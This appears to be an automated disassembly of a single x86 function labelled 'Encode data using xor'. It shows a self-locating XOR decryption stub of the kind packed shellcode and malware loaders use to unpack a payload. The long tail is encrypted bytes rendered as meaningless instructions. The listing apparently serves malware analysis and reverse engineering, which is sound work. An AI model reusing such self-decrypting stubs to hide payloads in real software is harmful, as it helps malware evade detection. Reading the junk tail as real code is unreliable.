Function at 0x10384efc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x10384f02
pop ebp
sub ebp, 6
sub ebp, 0x384efc
jmp 0x10384f60
mov al, byte [esp + 0x28]
cmp al, 1
je 0x10384f77
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x10384f80
mov eax, 0x384efc
add eax, ebp
add eax, 0xaa
mov ecx, 0x5b2
mov edx, 0x4fbdb489
xor byte [eax], dl
inc eax
dec ecx
jne 0x10384f97
jmp 0x10384faa
add al, byte [edx + eax]
mov ch, 0x89
mov dword [ecx - 0x768eb7f8], ecx
mov dword [ecx - 0x70cebb76], ecx
mov dword [ecx - 0x765ecc77], ecx
mov dword [ecx + 0x418a6b7e], ecx
mov dword [ecx - 0x75948177], ecx
inc ecx
add cl, byte [eax]
test dword [ecx + 0x4c8a8989], ecx
fstpnce st(1), st(0)
loope 0x10384fc1
wait
xchg dword [ecx - 0x5c4ae31f], ecx
mov dword [eax - 0x541e525b], ecx
rcr byte [eax], 0x88
popal
mov word [ecx - 0x5c9f7677], cs
mov dword [ecx - 0x1afb2377], ecx
lodsd eax, dword [esi]
mov dword [edx], eax
or al, 0x81
mov dword [ecx - 0x7ae3fd77], ecx
mov dword [ecx - 0x66fbfd77], ecx
mov dword [ecx - 0x749fb777], ecx
mov eax, 0x8d4b0a8b
rol byte [esi + 0x76767d0c], 0x76
aam 0x4b
test dword [ecx - 0x7252fafe], ecx
mov dword [ecx - 0x64121e77], ecx
xchg dword [ecx - 0x5c4ae31f], ecx
mov dword [eax + 0x61d8ada5], ecx
mov word [ecx - 0x459f7677], cs
mov ecx, dword [ecx - 0x2b222377]
mov dword [0xada58889], eax
fsub dword [ecx - 0x74]
mov dword [ecx - 0x74459f77], ecx
mov dword [ecx + 0x76d4dddc], ecx
cld
mov esp, ebx
fst st(4)
jbe 0x10385038
test dword [esi - 4], esi
and dword [ecx - 0x11], 0x2898989
xor al, 0x81
mov dword [ecx - 0x45bf4577], ecx
pop ebx
or ah, byte [ecx - 0x74]
rol dword [esi - 0x767638f3], 0x89
xchg byte [ecx], al
ror dword [ecx + 0x2ef8989], 0x95
mov al, 9
jb 0x103850c7
xchg byte [0x89898993], cl
or dword [edx + 0x60], esi
xchg byte [0x89898998], cl
out dx, eax
or byte [edx + 0x76], dh
lodsb al, byte [esi]
xchg byte [0x8989899c], cl
enter 0x4560, 0x76
jbe 0x103850fc
pushfd
mov dword [ecx + 0x4560c889], ecx
jbe 0x103850fb
jbe 0x10385027
mov al, byte [0xa88b0c5]
dec eax
mov word [edx], cs
popal
lea esp, [eax + 0x34]
jbe 0x1038510a
lds esi, [eax - 0x73b7f578]
or ah, byte [ecx - 0x73]
pushal
xor al, 0x76
jbe 0x1038510b
jbe 0x10385036
mov al, byte [0xa8bb0dd]
dec eax
invalid
fnsave dword [eax - 0x70b7f575]
or ah, byte [ebx - 0x73]
or ah, byte [ecx - 0x74]
pushal
and dh, byte [esi + 0x76]
jbe 0x1038507c
dec ebx
test dword [ecx - 0x209afd24], ecx
invalid
mov dword [ecx - 0x7674cd77], ecx
mov dword [ecx + 0xc865b8b], ecx
mov word [ecx - 0x60fc7677], cs
iretd
mov word [ecx - 0x60fc7677], cs
iretd
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
mov dword [0x8b898988], eax
mov ebx, dword [ebx - 0x7a]
or al, 0x8c
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8989, 0x8f0d8649
mov dword [edx], eax
push esi
mov byte [0x18a0351], al
mov cs, esi
xor cl, byte [ebx + 0x60898989]
stc
jbe 0x103851d4
jbe 0x10385191
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0x103851fb
jbe 0x10385129
dec edx
xor cl, byte [eax - 0x79767677]
or al, 0xbd
mov dword [ecx - 0x7677cf77], ecx
mov dword [ecx + 0xc865b8b], ecx
mov word [ecx - 0x60fc7677], cs
iretd
mov ebp, 0x30898989
mov byte [ecx + 0x5b8b8989], cl
mov dword [ecx - 0x767677d0], ecx
mov dword [ebx - 0x73f379a5], ecx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0x1038522f
jbe 0x1038519a
add bh, byte [esi - 0x5e]
jl 0x1038523a
sub eax, 0x768160d7
jbe 0x1038523d
ror dword [eax + 0x69], 0x81
add ecx, dword [edi + 0x306102cf]
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ebx - 0x73f379a5], ecx
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0x1038526c
jbe 0x10385200
jno 0x10385183
hlt
mov dword [ecx + 0x76765008], ecx
jbe 0x10385279
jbe 0x10385278
jbe 0x1038520c
or byte [ecx - 0x77], dh
jno 0x1038518f
mov word [ecx + 0x76500889], cs
jbe 0x10385284
jbe 0x10385218
jno 0x1038521b
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x9710889], ecx
or byte [ecx + 9], dh
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x7e02df89], ecx
mov byte [0xd72d7a79], al
pushal
adc dh, byte [edi + 0x76]
ja 0x103852a9
jbe 0x10385238
invalid
inc eax
dec ecx
popal
mov byte [esi - 0x76766cf3], al
mov dword [eax], ecx
pop eax
mov ecx, dword [ecx + 0x61028989]
fild word [edx]
jle 0x103851f0
or eax, 0x89898993
or byte [eax - 0x75], bl
mov dword [ecx - 0x74a7f777], ecx
mov dword [ecx - 0x209efd77], ecx
add bh, byte [esi - 0x5e]
jns 0x103852ca
sub eax, 0x898832d7
mov dword [ecx + 0x7677fa60], ecx
jbe 0x10385231
mov byte [0x4e0281f4], al
salc
xlatb
add ch, byte [esp + edx*8 + 0x4b]
add dword [edx], 0x2d7d64e
insb byte es:[edi], dx
aam 0x4b
or dword [ecx - 0x729f282a], 0xa1898989
xor al, 0xf
inc edx
xor dword [ebp - 0x39], esi
pushal
lea ecx, [ecx + 0x34a18989]
cmovb esi, dword [ecx]
jne 0x1038523f
mov cl, 0x89
mov cl, byte [eax + ecx + 0x49]
push ss
mov dword [edx + 0x1649084c], ecx
mov cl, byte [ecx - 0x74cbcf77]
mov dword [ecx + 0x65ec8f33], ecx
add edi, dword [ecx - 0x793f3667]
mov ecx, dword [ecx - 0x1370cc77]
add edi, dword gs:[ecx - 0x793f3667]
rol byte [esi + 0x76767f0c], 0x76
pushal
or al, 0x7f
jbe 0x1038530b
jbe 0x103852f7
lea ecx, [ecx + 0x5a428989]
std
sub ecx, dword [eax]
jno 0x103852aa
js 0x103852a8
clc
mov bl, 8
js 0x103852ad
add al, 0x33
xor edi, dword [eax - 0x707070d1]
mov eax, 0x8f8f8f2f
invalid
invalid
mov ecx, dword [eax]
jbe 0x103852dc
jne 0x1038525f
invalid
dec eax
xchg dword [edi + 0x660e8f8f], ecx
xchg dword [edi + 0x760e8f8f], ecx
invalid
or dword [si], 0x6f
or byte [esi], 0x77
mov word [edi + 0xa808f8f], cs
or byte [edi + 0x4e98f8f], 0x88
push cs
outsd dx, dword [esi]
jo 0x1038528f
invalid